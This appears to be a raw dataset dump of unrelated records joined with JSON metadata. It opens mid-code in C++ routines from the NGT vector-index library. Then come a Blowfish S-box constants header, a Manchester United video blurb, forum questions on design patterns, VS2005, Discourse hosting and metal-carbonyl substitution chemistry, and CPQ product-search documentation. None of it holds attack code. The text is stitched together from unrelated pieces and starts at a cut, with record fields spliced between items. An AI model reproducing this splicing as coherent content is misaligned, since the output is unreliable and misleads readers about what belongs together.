NGT::Index::Property::IndexType::Graph;\n  Index *idx = 0;\n#ifdef NGT_SHARED_MEMORY_ALLOCATOR\n  mkdir(database);\n  idx = new NGT::GraphIndex(database, prop);\n#else\n  idx = new NGT::GraphIndex(prop);\n#endif\n  assert(idx != 0);\n  try {\n    loadAndCreateIndex(*idx, database, dataFile, prop.threadPoolSize, dataSize);\n  } catch(Exception &err) {\n    delete idx;\n    throw err;\n  }\n  delete idx;\n}\n\ninline void \nNGT::Index::loadAndCreateIndex(Index &index, const string &database, const string &dataFile, size_t threadSize, size_t dataSize) {\n  NGT::Timer timer;\n  timer.start();\n  if (dataFile.size() != 0) {\n    index.load(dataFile, dataSize);\n  } else {\n    index.saveIndex(database);\n    return;\n  }\n  timer.stop();\n  cerr << \"Data loading time=\" << timer.time << \" (sec) \" << timer.time * 1000.0 << \" (msec)\" << endl;\n  if (index.getObjectRepositorySize() == 0) {\n    NGTThrowException(\"Index::create: Data file is empty.\");\n  }\n  cerr << \"# of objects=\" << index.getObjectRepositorySize() - 1 << endl;\n  timer.reset();\n  timer.start();\n  index.createIndex(threadSize);\n  timer.stop();\n  index.saveIndex(database);\n  cerr << \"Index creation time=\" << timer.time << \" (sec) \" << timer.time * 1000.0 << \" (msec)\" << endl;\n}\n\ninline void \nNGT::Index::append(const string &database, const string &dataFile, size_t threadSize, size_t dataSize) {\n  NGT::Index\tindex(database);\n  NGT::Timer\ttimer;\n  timer.start();\n  if (dataFile.size() != 0) {\n    index.append(dataFile, dataSize);\n  } else {\n    NGTThrowException(\"Index::append: No data file.\");\n  }\n  timer.stop();\n  cerr << \"Data loading time=\" << timer.time << \" (sec) \" << timer.time * 1000.0 << \" (msec)\" << endl;\n  cerr << \"# of objects=\" << index.getObjectRepositorySize() - 1 << endl;\n  timer.reset();\n  timer.start();\n  index.createIndex(threadSize);\n  timer.stop();\n  index.saveIndex(database);\n  cerr << \"Index creation time=\" << timer.time << \" (sec) \" << timer.time * 1000.0 << \" (msec)\" << endl;\n  return;\n}\n\ninline void \nNGT::Index::append(const string &database, const float *data, size_t dataSize, size_t threadSize) {\n  NGT::Index\tindex(database);\n  NGT::Timer\ttimer;\n  timer.start();\n  if (data != 0 && dataSize != 0) {\n    index.append(data, dataSize);\n  } else {\n    NGTThrowException(\"Index::append: No data.\");\n  }\n  timer.stop();\n  cerr << \"Data loading time=\" << timer.time << \" (sec) \" << timer.time * 1000.0 << \" (msec)\" << endl;\n  cerr << \"# of objects=\" << index.getObjectRepositorySize() - 1 << endl;\n  timer.reset();\n  timer.start();\n  index.createIndex(threadSize);\n  timer.stop();\n  index.saveIndex(database);\n  cerr << \"Index creation time=\" << timer.time << \" (sec) \" << timer.time * 1000.0 << \" (msec)\" << endl;\n  return;\n}\n\ninline void \nNGT::Index::remove(const string &database, vector<ObjectID> &objects) {\n  NGT::Index\tindex(database);\n  NGT::Timer\ttimer;\n  timer.start();\n  for (vector<ObjectID>::iterator i = objects.begin(); i != objects.end(); i++) {\n    try {\n      index.remove(*i);\n    } catch (Exception &err) {\n      cerr << \"Warning: Cannot remove the node. ID=\" << *i << \" : \" << err.what() << endl;\n      continue;\n    }\n  }\n  timer.stop();\n  cerr << \"Data removing time=\" << timer.time << \" (sec) \" << timer.time * 1000.0 << \" (msec)\" << endl;\n  cerr << \"# of objects=\" << index.getObjectRepositorySize() - 1 << endl;\n  index.saveIndex(database);\n  return;\n}\n\ninline void \nNGT::Index::importIndex(const string &database, const string &file) {\n  Index *idx = 0;\n  NGT::Property property;\n  property.importProperty(file);\n  NGT::Timer\ttimer;\n  timer.start();\n#ifdef NGT_SHARED_MEMORY_ALLOCATOR\n  property.databaseType = NGT::Index::Property::DatabaseType::MemoryMappedFile;\n  mkdir(database);\n#else\n  property.databaseType = NGT::Index::Property::DatabaseType::Memory;\n#endif\n  if (property.indexType == NGT::Index::Property::IndexType::GraphAndTree) {\n#ifdef NGT_SHARED_MEMORY_ALLOCATOR\n    idx = new NGT::GraphAndTreeIndex(database, property);\n#else\n    idx = new NGT::GraphAndTreeIndex(property);\n#endif\n    assert(idx != 0);\n  } else if (property.indexType == NGT::Index::Property::IndexType::Graph) {\n#ifdef NGT_SHARED_MEMORY_ALLOCATOR\n    idx = new NGT::GraphIndex(database, property);\n#else\n    idx = new NGT::GraphIndex(property);\n#endif\n    assert(idx != 0);\n  } else {\n    NGTThrowException(\"Index::Open: Not found IndexType in property file.\");\n  }\n  idx->importIndex(file);\n  timer.stop();\n  cerr << \"Data importing time=\" << timer.time << \" (sec) \" << timer.time * 1000.0 << \" (msec)\" << endl;\n  cerr << \"# of objects=\" << idx->getObjectRepositorySize() - 1 << endl;\n  idx->saveIndex(database);\n  delete idx;\n}\n\ninline void \nNGT::Index::exportIndex(const string &database, const string &file) {\n  NGT::Index\tidx(database);\n  NGT::Timer\ttimer;\n  timer.start();\n  idx.exportIndex(file);\n  timer.stop();\n  cerr << \"Data exporting time=\" << timer.time << \" (sec) \" << timer.time * 1000.0 << \" (msec)\" << endl;\n  cerr << \"# of objects=\" << idx.getObjectRepositorySize() - 1 << endl;\n}\n\ninline void \nNGT::GraphIndex::constructObjectSpace(NGT::Property &prop) {\n  assert(prop.dimension != 0);\n  switch (prop.objectType) {\n  case NGT::ObjectSpace::ObjectType::Float :\n    objectSpace = new ObjectSpaceRepository<float, double>(prop.dimension, typeid(float), prop.distanceType);\n    break;\n  case NGT::ObjectSpace::ObjectType::Uint8 :\n    objectSpace = new ObjectSpaceRepository<unsigned char, int>(prop.dimension, typeid(uint8_t), prop.distanceType);\n    break;\n  default:\n    cerr << \"Invalid Object Type in the property. \" << prop.objectType << endl;\n  }\n#ifdef NGT_GRAPH_READ_ONLY_GRAPH\n  searchUnupdatableGraph = NeighborhoodGraph::Search::getMethod(prop.distanceType, prop.objectType);\n#endif\n}\n\ninline void \nNGT::Index::Property::set(NGT::Property &prop) {\n  if (prop.dimension != -1) dimension = prop.dimension;\n  if (prop.threadPoolSize != -1) threadPoolSize = prop.threadPoolSize;\n  if (prop.objectType != ObjectSpace::ObjectTypeNone) objectType = prop.objectType;\n  if (prop.distanceType != DistanceType::DistanceTypeNone) distanceType = prop.distanceType;\n  if (prop.indexType != IndexTypeNone) indexType = prop.indexType;\n  if (prop.databaseType != DatabaseTypeNone) databaseType = prop.databaseType;\n  if (prop.objectAlignment != ObjectAlignmentNone) objectAlignment = prop.objectAlignment;\n  if (prop.pathAdjustmentInterval != -1) pathAdjustmentInterval = prop.pathAdjustmentInterval;\n#ifdef NGT_SHARED_MEMORY_ALLOCATOR\n  if (prop.graphSharedMemorySize != -1) graphSharedMemorySize = prop.graphSharedMemorySize;\n  if (prop.treeSharedMemorySize != -1) treeSharedMemorySize = prop.treeSharedMemorySize;\n  if (prop.objectSharedMemorySize != -1) objectSharedMemorySize = prop.objectSharedMemorySize;\n#endif\n}\n\ninline void \nNGT::Index::Property::get(NGT::Property &prop) {\n  prop.dimension = dimension;\n  prop.threadPoolSize = threadPoolSize;\n  prop.objectType = objectType;\n  prop.distanceType = distanceType;\n  prop.indexType = indexType;\n  prop.databaseType = databaseType;\n  prop.pathAdjustmentInterval = pathAdjustmentInterval;\n#ifdef NGT_SHARED_MEMORY_ALLOCATOR\n  prop.graphSharedMemorySize = graphSharedMemorySize;\n  prop.treeSharedMemorySize = treeSharedMemorySize;\n  prop.objectSharedMemorySize = objectSharedMemorySize;\n#endif\n}\n\ninline void \n  NGT::GraphIndex::loadIndex(const string &ifile, bool readOnly) {\n  objectSpace->deserialize(ifile + \"/obj\");\n#ifdef NGT_GRAPH_READ_ONLY_GRAPH\n  if (readOnly && property.indexType == NGT::Index::Property::IndexType::Graph) {\n    GraphIndex::NeighborhoodGraph::loadSearchGraph(ifile);\n  } else {\n    ifstream isg(ifile + \"/grp\");\n    repository.deserialize(isg);\n  }\n#else\n  ifstream isg(ifile + \"/grp\");\n  repository.deserialize(isg);\n#endif\n}\n\n#ifdef NGT_SHARED_MEMORY_ALLOCATOR\ninline\nNGT::GraphIndex::GraphIndex(const string &allocator, bool rdonly):readOnly(rdonly) {\n  NGT::Property prop;\n  prop.load(allocator);\n  if (prop.databaseType != NGT::Index::Property::DatabaseType::MemoryMappedFile) {\n    NGTThrowException(\"GraphIndex: Cannot open. Not memory mapped file type.\");\n  }\n  initialize(allocator, prop);\n}\n\ninline\nNGT::GraphAndTreeIndex::GraphAndTreeIndex(const string &allocator, NGT::Property &prop):GraphIndex(allocator, prop) {\n  initialize(allocator, prop.treeSharedMemorySize);\n}\n\ninline\nvoid NGT::GraphIndex::initialize(const string &allocator, NGT::Property &prop) {\n  constructObjectSpace(prop);\n  repository.open(allocator + \"/grp\", prop.graphSharedMemorySize);\n  objectSpace->open(allocator + \"/obj\", prop.objectSharedMemorySize);\n  setProperty(prop);\n}\n#else // NGT_SHARED_MEMORY_ALLOCATOR\ninline\nNGT::GraphIndex::GraphIndex(const string &database, bool rdOnly):readOnly(rdOnly) {\n  NGT::Property prop;\n  prop.load(database);\n  if (prop.databaseType != NGT::Index::Property::DatabaseType::Memory) {\n    NGTThrowException(\"GraphIndex: Cannot open. Not memory type.\");\n  }\n  assert(prop.dimension != 0);\n  initialize(prop);\n  loadIndex(database, readOnly);\n}\n#endif", "source": "cpt_stack_code", "language": "code", "token_count": 18110, "token_count_with_eod": 18111, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "/*\n  Source: http://www.schneier.com/code/constants.txt\n*/\n\n#ifndef Q_BLOWFISH_P_H\n#define Q_BLOWFISH_P_H\n\n#define SBOX_SIZE_BYTES (256 * 4)\n#define PARRAY_SIZE_BYTES (18 * 4)\n\nchar sbox0[] =\n    \"d1310ba698dfb5ac2ffd72dbd01adfb7b8e1afed6a267e96\"\n    \"ba7c9045f12c7f9924a19947b3916cf70801f2e2858efc16\"\n    \"636920d871574e69a458fea3f4933d7e0d95748f728eb658\"\n    \"718bcd5882154aee7b54a41dc25a59b59c30d5392af26013\"\n    \"c5d1b023286085f0ca417918b8db38ef8e79dcb0603a180e\"\n    \"6c9e0e8bb01e8a3ed71577c1bd314b2778af2fda55605c60\"\n    \"e65525f3aa55ab945748986263e8144055ca396a2aab10b6\"\n    \"b4cc5c341141e8cea15486af7c72e993b3ee1411636fbc2a\"\n    \"2ba9c55d741831f6ce5c3e169b87931eafd6ba336c24cf5c\"\n    \"7a325381289586773b8f48986b4bb9afc4bfe81b66282193\"\n    \"61d809ccfb21a991487cac605dec8032ef845d5de98575b1\"\n    \"dc262302eb651b8823893e81d396acc50f6d6ff383f44239\"\n    \"2e0b4482a484200469c8f04a9e1f9b5e21c66842f6e96c9a\"\n    \"670c9c61abd388f06a51a0d2d8542f68960fa728ab5133a3\"\n    \"6eef0b6c137a3be4ba3bf0507efb2a98a1f1651d39af0176\"\n    \"66ca593e82430e888cee8619456f9fb47d84a5c33b8b5ebe\"\n    \"e06f75d885c12073401a449f56c16aa64ed3aa62363f7706\"\n    \"1bfedf72429b023d37d0d724d00a1248db0fead349f1c09b\"\n    \"075372c980991b7b25d479d8f6e8def7e3fe501ab6794c3b\"\n    \"976ce0bd04c006bac1a94fb6409f60c45e5c9ec2196a2463\"\n    \"68fb6faf3e6c53b51339b2eb3b52ec6f6dfc511f9b30952c\"\n    \"cc814544af5ebd09bee3d004de334afd660f2807192e4bb3\"\n    \"c0cba85745c8740fd20b5f39b9d3fbdb5579c0bd1a60320a\"\n    \"d6a100c6402c7279679f25fefb1fa3cc8ea5e9f8db3222f8\"\n    \"3c7516dffd616b152f501ec8ad0552ab323db5fafd238760\"\n    \"53317b483e00df829e5c57bbca6f8ca01a87562edf1769db\"\n    \"d542a8f6287effc3ac6732c68c4f5573695b27b0bbca58c8\"\n    \"e1ffa35db8f011a010fa3d98fd2183b84afcb56c2dd1d35b\"\n    \"9a53e479b6f84565d28e49bc4bfb9790e1ddf2daa4cb7e33\"\n    \"62fb1341cee4c6e8ef20cada36774c01d07e9efe2bf11fb4\"\n    \"95dbda4dae909198eaad8e716b93d5a0d08ed1d0afc725e0\"\n    \"8e3c5b2f8e7594b78ff6e2fbf2122b648888b812900df01c\"\n    \"4fad5ea0688fc31cd1cff191b3a8c1ad2f2f2218be0e1777\"\n    \"ea752dfe8b021fa1e5a0cc0fb56f74e818acf3d6ce89e299\"\n    \"b4a84fe0fd13e0b77cc43b81d2ada8d9165fa26680957705\"\n    \"93cc7314211a1477e6ad206577b5fa86c75442f5fb9d35cf\"\n    \"ebcdaf0c7b3e89a0d6411bd3ae1e7e4900250e2d2071b35e\"\n    \"226800bb57b8e0af2464369bf009b91e5563911d59dfa6aa\"\n    \"78c14389d95a537f207d5ba202e5b9c5832603766295cfa9\"\n    \"11c819684e734a41b3472dca7b14a94a1b5100529a532915\"\n    \"d60f573fbc9bc6e42b60a47681e6740008ba6fb5571be91f\"\n    \"f296ec6b2a0dd915b6636521e7b9f9b6ff34052ec5855664\"\n    \"53b02d5da99f8fa108ba47996e85076a\"\n;\n\nchar sbox1[] =\n    \"4b7a70e9b5b32944db75092ec4192623ad6ea6b049a7df7d\"\n    \"9cee60b88fedb266ecaa8c71699a17ff5664526cc2b19ee1\"\n    \"193602a575094c29a0591340e4183a3e3f54989a5b429d65\"\n    \"6b8fe4d699f73fd6a1d29c07efe830f54d2d38e6f0255dc1\"\n    \"4cdd20868470eb266382e9c6021ecc5e09686b3f3ebaefc9\"\n    \"3c9718146b6a70a1687f358452a0e286b79c5305aa500737\"\n    \"3e07841c7fdeae5c8e7d44ec5716f2b8b03ada37f0500c0d\"\n    \"f01c1f040200b3ffae0cf51a3cb574b225837a58dc0921bd\"\n    \"d19113f97ca92ff69432477322f547013ae5e58137c2dadc\"\n    \"c8b576349af3dda7a94461460fd0030eecc8c73ea4751e41\"\n    \"e238cd993bea0e2f3280bba1183eb3314e548b384f6db908\"\n    \"6f420d03f60a04bf2cb8129024977c795679b072bcaf89af\"\n    \"de9a771fd9930810b38bae12dccf3f2e5512721f2e6b7124\"\n    \"501adde69f84cd877a5847187408da17bc9f9abce94b7d8c\"\n    \"ec7aec3adb851dfa63094366c464c3d2ef1c18473215d908\"\n    \"dd433b3724c2ba1612a14d432a65c45150940002133ae4dd\"\n    \"71dff89e10314e5581ac77d65f11199b043556f1d7a3c76b\"\n    \"3c11183b5924a509f28fe6ed97f1fbfa9ebabf2c1e153c6e\"\n    \"86e34570eae96fb1860e5e0a5a3e2ab3771fe71c4e3d06fa\"\n    \"2965dcb999e71d0f803e89d65266c8252e4cc9789c10b36a\"\n    \"c6150eba94e2ea78a5fc3c531e0a2df4f2f74ea7361d2b3d\"\n    \"1939260f19c279605223a708f71312b6ebadfe6eeac31f66\"\n    \"e3bc4595a67bc883b17f37d1018cff28c332ddefbe6c5aa5\"\n    \"6558218568ab9802eecea50fdb2f953b2aef7dad5b6e2f84\"\n    \"1521b62829076170ecdd4775619f151013cca830eb61bd96\"\n    \"0334fe1eaa0363cfb5735c904c70a239d59e9e0bcbaade14\"\n    \"eecc86bc60622ca79cab5cabb2f3846e648b1eaf19bdf0ca\"\n    \"a02369b9655abb5040685a323c2ab4b3319ee9d5c021b8f7\"\n    \"9b540b19875fa09995f7997e623d7da8f837889a97e32d77\"\n    \"11ed935f166812810e358829c7e61fd696dedfa17858ba99\"\n    \"57f584a51b2272639b83c3ff1ac24696cdb30aeb532e3054\"\n    \"8fd948e46dbc312858ebf2ef34c6ffeafe28ed61ee7c3c73\"\n    \"5d4a14d9e864b7e342105d14203e13e045eee2b6a3aaabea\"\n    \"db6c4f15facb4fd0c742f442ef6abbb5654f3b1d41cd2105\"\n    \"d81e799e86854dc7e44b476a3d816250cf62a1f25b8d2646\"\n    \"fc8883a0c1c7b6a37f1524c369cb749247848a0b5692b285\"\n    \"095bbf00ad19489d1462b17423820e0058428d2a0c55f5ea\"\n    \"1dadf43e233f70613372f0928d937e41d65fecf16c223bdb\"\n    \"7cde3759cbee74604085f2a7ce77326ea607808419f8509e\"\n    \"e8efd85561d99735a969a7aac50c06c25a04abfc800bcadc\"\n    \"9e447a2ec3453484fdd567050e1e9ec9db73dbd3105588cd\"\n    \"675fda79e3674340c5c43465713e38d83d28f89ef16dff20\"\n    \"153e21e78fb03d4ae6e39f2bdb83adf7\"\n;\n\nchar sbox2[] =\n    \"e93d5a68948140f7f64c261c94692934411520f77602d4f7\"\n    \"bcf46b2ed4a20068d40824713320f46a43b7d4b7500061af\"\n    \"1e39f62e9724454614214f74bf8b88404d95fc1d96b591af\"\n    \"70f4ddd366a02f45bfbc09ec03bd97857fac6dd031cb8504\"\n    \"96eb27b355fd3941da2547e6abca0a9a28507825530429f4\"\n    \"0a2c86dae9b66dfb68dc1462d7486900680ec0a427a18dee\"\n    \"4f3ffea2e887ad8cb58ce0067af4d6b6aace1e7cd3375fec\"\n    \"ce78a399406b2a4220fe9e35d9f385b9ee39d7ab3b124e8b\"\n    \"1dc9faf74b6d185626a36631eae397b23a6efa74dd5b4332\"\n    \"6841e7f7ca7820fbfb0af54ed8feb397454056acba489527\"\n    \"55533a3a20838d87fe6ba9b7d096954b55a867bca1159a58\"\n    \"cca9296399e1db33a62a4a563f3125f95ef47e1c9029317c\"\n    \"fdf8e80204272f7080bb155c05282ce395c11548e4c66d22\"\n    \"48c1133fc70f86dc07f9c9ee41041f0f404779a45d886e17\"\n    \"325f51ebd59bc0d1f2bcc18f41113564257b7834602a9c60\"\n    \"dff8e8a31f636c1b0e12b4c202e1329eaf664fd1cad18115\"\n    \"6b2395e0333e92e13b240b62eebeb92285b2a20ee6ba0d99\"\n    \"de720c8c2da2f728d012784595b794fd647d0862e7ccf5f0\"\n    \"5449a36f877d48fac39dfd27f33e8d1e0a476341992eff74\"\n    \"3a6f6eabf4f8fd37a812dc60a1ebddf8991be14cdb6e6b0d\"\n    \"c67b55106d672c372765d43bdcd0e804f1290dc7cc00ffa3\"\n    \"b5390f92690fed0b667b9ffbcedb7d9ca091cf0bd9155ea3\"\n    \"bb132f88515bad247b9479bf763bd6eb37392eb3cc115979\"\n    \"8026e297f42e312d6842ada7c66a2b3b12754ccc782ef11c\"\n    \"6a124237b79251e706a1bbe64bfb63501a6b101811caedfa\"\n    \"3d25bdd8e2e1c3c9444216590a121386d90cec6ed5abea2a\"\n    \"64af674eda86a85fbebfe98864e4c3fe9dbc8057f0f7c086\"\n    \"60787bf86003604dd1fd8346f6381fb07745ae04d736fccc\"\n    \"83426b33f01eab71b08041873c005e5f77a057bebde8ae24\"\n    \"55464299bf582e614e58f48ff2ddfda2f474ef388789bdc2\"\n    \"5366f9c3c8b38e74b475f25546fcd9b97aeb26618b1ddf84\"\n    \"846a0e79915f95e2466e598e20b457708cd55591c902de4c\"\n    \"b90bace1bb8205d011a862487574a99eb77f19b6e0a9dc09\"\n    \"662d09a1c4324633e85a1f0209f0be8c4a99a0251d6efe10\"\n    \"1ab93d1d0ba5a4dfa186f20f2868f169dcb7da83573906fe\"\n    \"a1e2ce9b4fcd7f5250115e01a70683faa002b5c40de6d027\"\n    \"9af88c27773f8641c3604c0661a806b5f0177a28c0f586e0\"\n    \"006058aa30dc7d6211e69ed72338ea6353c2dd94c2c21634\"\n    \"bbcbee5690bcb6deebfc7da1ce591d766f05e4094b7c0188\"\n    \"39720a3d7c927c2486e3725f724d9db91ac15bb4d39eb8fc\"\n    \"ed54557808fca5b5d83d7cd34dad0fc41e50ef5eb161e6f8\"\n    \"a28514d96c51133c6fd5c7e756e14ec4362abfceddc6c837\"\n    \"d79a323492638212670efa8e406000e0\"\n;\n\nchar sbox3[] =\n    \"3a39ce37d3faf5cfabc277375ac52d1b5cb0679e4fa33742\"\n    \"d382274099bc9bbed5118e9dbf0f7315d62d1c7ec700c47b\"\n    \"b78c1b6b21a19045b26eb1be6a366eb45748ab2fbc946e79\"\n    \"c6a376d26549c2c8530ff8ee468dde7dd5730a1d4cd04dc6\"\n    \"2939bbdba9ba4650ac9526e8be5ee304a1fad5f06a2d519a\"\n    \"63ef8ce29a86ee22c089c2b843242ef6a51e03aa9cf2d0a4\"\n    \"83c061ba9be96a4d8fe51550ba645bd62826a2f9a73a3ae1\"\n    \"4ba99586ef5562e9c72fefd3f752f7da3f046f6977fa0a59\"\n    \"80e4a91587b086019b09e6ad3b3ee593e990fd5a9e34d797\"\n    \"2cf0b7d9022b8b5196d5ac3a017da67dd1cf3ed67c7d2d28\"\n    \"1f9f25cfadf2b89b5ad6b4725a88f54ce029ac71e019a5e6\"\n    \"47b0acfded93fa9be8d3c48d283b57ccf8d5662979132e28\"\n    \"785f0191ed756055f7960e44e3d35e8c15056dd488f46dba\"\n    \"03a161250564f0bdc3eb9e153c9057a297271aeca93a072a\"\n    \"1b3f6d9b1e6321f5f59c66fb26dcf3197533d928b155fdf5\"\n    \"035634828aba3cbb28517711c20ad9f8abcc5167ccad925f\"\n    \"4de817513830dc8e379d58629320f991ea7a90c2fb3e7bce\"\n    \"5121ce64774fbe32a8b6e37ec3293d4648de53696413e680\"\n    \"a2ae0810dd6db22469852dfd09072166b39a460a6445c0dd\"\n    \"586cdecf1c20c8ae5bbef7dd1b588d40ccd2017f6bb4e3bb\"\n    \"dda26a7e3a59ff453e350a44bcb4cdd572eacea8fa6484bb\"\n    \"8d6612aebf3c6f47d29be463542f5d9eaec2771bf64e6370\"\n    \"740e0d8de75b1357f8721671af537d5d4040cb084eb4e2cc\"\n    \"34d2466a0115af84e1b0042895983a1d06b89fb4ce6ea048\"\n    \"6f3f3b823520ab82011a1d4b277227f8611560b1e7933fdc\"\n    \"bb3a792b344525bda08839e151ce794b2f32c9b7a01fbac9\"\n    \"e01cc87ebcc7d1f6cf0111c3a1e8aac71a908749d44fbd9a\"\n    \"d0dadecbd50ada380339c32ac69136678df9317ce0b12b4f\"\n    \"f79e59b743f5bb3af2d519ff27d9459cbf97222c15e6fc2a\"\n    \"0f91fc719b941525fae59361ceb69cebc2a8645912baa8d1\"\n    \"b6c1075ee3056a0c10d25065cb03a442e0ec6e0e1698db3b\"\n    \"4c98a0be3278e9649f1f9532e0d392dfd3a0342b8971f21e\"\n    \"1b0a74414ba3348cc5be7120c37632d8df359f8d9b992f2e\"\n    \"e60b6f470fe3f11de54cda541edad891ce6279cfcd3e7e6f\"\n    \"1618b166fd2c1d05848fd2c5f6fb2299f523f357a6327623\"\n    \"93a8353156cccd02acf081625a75ebb56e16369788d273cc\"\n    \"de96629281b949d04c50901b71c65614e6c6c7bd327a140a\"\n    \"45e1d006c3f27b9ac9aa53fd62a80f00bb25bfe235bdd2f6\"\n    \"71126905b2040222b6cbcf7ccd769c2b53113ec01640e3d3\"\n    \"38abbd602547adf0ba38209cf746ce7677afa1c520756060\"\n    \"85cbfe4e8ae88dd87aaaf9b04cf9aa7e1948c25c02fb8a8c\"\n    \"01c36ae4d6ebe1f990d4f869a65cdea03f09252dc208e69f\"\n    \"b74e6132ce77e25b578fdfe33ac372e6\"\n;\n\nchar parray[] =\n    \"243f6a8885a308d313198a2e03707344a4093822299f31d0\"\n    \"082efa98ec4e6c89452821e638d01377be5466cf34e90c6c\"\n    \"c0ac29b7c97c50dd3f84d5b5b54709179216d5d98979fb1b\"\n;\n\n#endif // Q_BLOWFISH_P_H", "source": "cpt_stack_code", "language": "code", "token_count": 8182, "token_count_with_eod": 8183, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Enjoy the best of the action from this five star display as Casey Stoney’s side secure promotion to the Women’s Super League!\nSubscribe to Manchester United on YouTube at http://bit.ly/ManU_YT\nVisit Manchester United at http://www.manutd.com\nLike Manchester United on Facebook at http://www.facebook.com/manchesterunited\nFollow Manchester United on Twitter at http://www.twitter.com/ManUtd\nFollow Manchester on Instagram at http://www.instagram.com/manchesterunited\nSubscribe to MUTV at https://bit.ly/2L9ymRs", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 118, "token_count_with_eod": 119, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "is there an order to learn Desgin Patterns?\nI'm new in Desgin Patterns, and I dont know how to start. is there an order to learn? I try to learn with the first one in the list (Abstract factory) but its complicated for me then I try with Singleton and I think I understand that one. I dont know, can you recommend an order please?\nAlberto Chargoy, Jul 29, 2016\nI recommend starting with the Strategy pattern. It was the first pattern I learned, and actually learned it from this site years ago. It is, IMO, the most fundamental of patterns. I would recommend going in this order:\n2. Factory Method\n3. Abstract Factory\n4. Chain of Command\nAfter those, there are some very useful small patterns:\nAbove all, my favorite (arguable) pattern / construct is the Rules Engine pattern. It's sole purpose is to eliminate those forever-scrolling long blocks of if else if if if else if if else hell.\nJonathan Hart, Aug 09, 2016", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 226, "token_count_with_eod": 227, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I have downloaded a .net source code from the Internet.\nThe source code has 2 projects.\nFirst is a Windows class lib.\nSecond is a WeSite project whose name is [\nWhen I run the Web Site, VS2005 searches that location and finds nothing. So the WebSite is not run.\nHow can I change this setting so that I can run it from VS2005's development web server.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 92, "token_count_with_eod": 93, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "When you launch the CPQ Admin console, Manage Product page is displayed. All the existing products are listed on this page along with their details. You can configure the columns displayed on the Manage Product Page. There are various functionalities available for you to manage the products.\nSearch for the product to narrow down the product list using the Search Products box. Enter a keyword related to your product details like Product Name, Product Code, Configuration type, description. Search Product box returns all the products that contain that keyword in the product details.\nThere are two types of search available on the products homepage. Saved Search and Product search query.\nEither of the search filters is applicable at a time.\nSaved Search provides you with various options to search, sort, and filter products. You can either define search criteria to search for a range of products or use the product search option. The search query uses options provided in the Field, Operator, and value and displays a search result that matches the criteria. Saved Search functionality lets you save a set of filters you define that narrows down the list of products according to your requirement.\nPerform the following steps to view and search configured products in the Saved Search:\n- Click View All to view all products that are configured in CPQ on the dashboard. If you have queried a filter or a product, then a select View All to disable the existing search filter.\n- Click New Search. A window that consists of various fields, operators, and values are displayed.\n- Field: All product Fields are available in the drop-down list such as Text, Checkbox, Date, Date/Time, Number, Percent, Picklist, Multi-Select Picklist, Currency.\n- Operator: Operators that are available for selection helps create the filter expression. Operators are displayed based on the field types. For example, a picklist value will display equal to and not equal operators and a text field will display equal to, not equal to, starts with, contain, does not contain operators. If it is a multi-value picklist, the application displays include and does not include operators.\n- Value: Enter a value.\n- Click one of the following options to execute the search:\n- Click Save As to save the search filter and use the filter criteria.\n- Click Apply to enable the search filter.\n- Click Cancel to cancel the search criteria.\n- To search a product in the Product Search, enter the name of the product that you want to search in the search field. Products that match the search are displayed.\n- Click field headers in the product's dashboard to sort dashboard based on the field.\nYou can simply click the saved search record you created and the system filters the search results. You can see the saved searches dropdown list in alphabetical order for better accessibility of your list of saved searches. If you have configured a customized view, click the menu icon () next to the New Search button. The following options are displayed.\n- Edit View: Displays a new search window.\n- Save View As: Displays options to Save the edit view.\n- Remove View: Removes the filter.\nYou can also narrow down the list using the column search (inline search). Enter a keyword related to the column in space under the column name. Unlike the Search Product field, column search matches the keyword in that particular column. Use the keywords True and False for the checkbox type columns. You can enter keywords in multiple columns at the same time, the result displayed contains the products with details matching to all keywords you entered in different columns.\nRefresh the page to clear all the filters.\nSorting and Adjusting the Columns\nYou can sort the product by clicking the column names. The products are sorted alphabetically, every time you click the column name the sorting switched between ascending and descending order. You can adjust the column width by dragging the columns. Hover near the column boundaries till two-way arrow appear. Click when the arrow appears and drag left or right to adjust the column width. At the bottom of the page, you can control the number of products to be displayed on each page. You can select the number of products from a pre-defined list. You cannot configure this list. By default, you see 50 records on each page.\nProduct details hold the information about the product. You can view them on the Manage Product page or the product details page. When you click the product name displayed in blue color, the DETAILS tab is displayed. All the primary details of the products are displayed on this page. Other tabs on the secondary toolbar hold additional information like options information, price list associated with the product, rules associated with the products. You can edit the details on this page.\nYou can use the Mini Display functionality to view the details without leaving the Manage Product page. Click the information in any column other than the product name for the respective product. A panel on the right-hand side displays the details of the product. You cannot edit any details on the mini display. Click the edit icon to go to the DETAILS tab, to edit the details.\nYou can see a list of all the existing products displayed in a panel on the left. When you hover the cursor over the product name, product details are displayed in a pop-up. You can configure the pop-up to display other fields. For more information, refer to Configuring the Tooltips.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1092, "token_count_with_eod": 1093, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I’m curious if anyone here has successfully integrated Discourse into their own Trellis/WP install? I’d like to run Discourse from a sub-domain i.e. community.mysite.com but run a staging version at community.mysite.test, as well. I’m thinking that this repo https://github.com/jamielinux/ansible-discourse will get me 99% of the way there but I don’t want to overwrite any crucial information that Trellis relies on during the installation and deployment. Any heads up would be appreciated if you’ve tried this successfully or not. Thanks in advance\nThis topic was automatically closed after 42 days. New replies are no longer allowed.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I'm considering the following reaction:\nCO + Mo(CO)5\nI think this is an example of a dissociative mechanism because an associative mechanism would lead to a 20-electron complex, making it unstable because it isn't in agreement with the 18-electron rule. But I'm a bit confused because if it is dissociative, then wouldn't Mo(CO)5\nform an unstable intermediate because it would be a 16-electron complex?\nI'm pretty sure it's dissociative because there's a similar example with W(CO)6\nto form W(CO)5\n), but wouldn't this lead to the same problem? I first thought that the solvent might temporarily interact with the intermediate to stabilise it before the pip ligand interacts, but the reaction is in toluene and I'm not sure if it can do η2\nas well as η6\n- I would say that it does because I know benzene can do η2\nbonding, but I'm not sure if the methyl group in toluene would change this.\nAny help would be greatly appreciated!", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
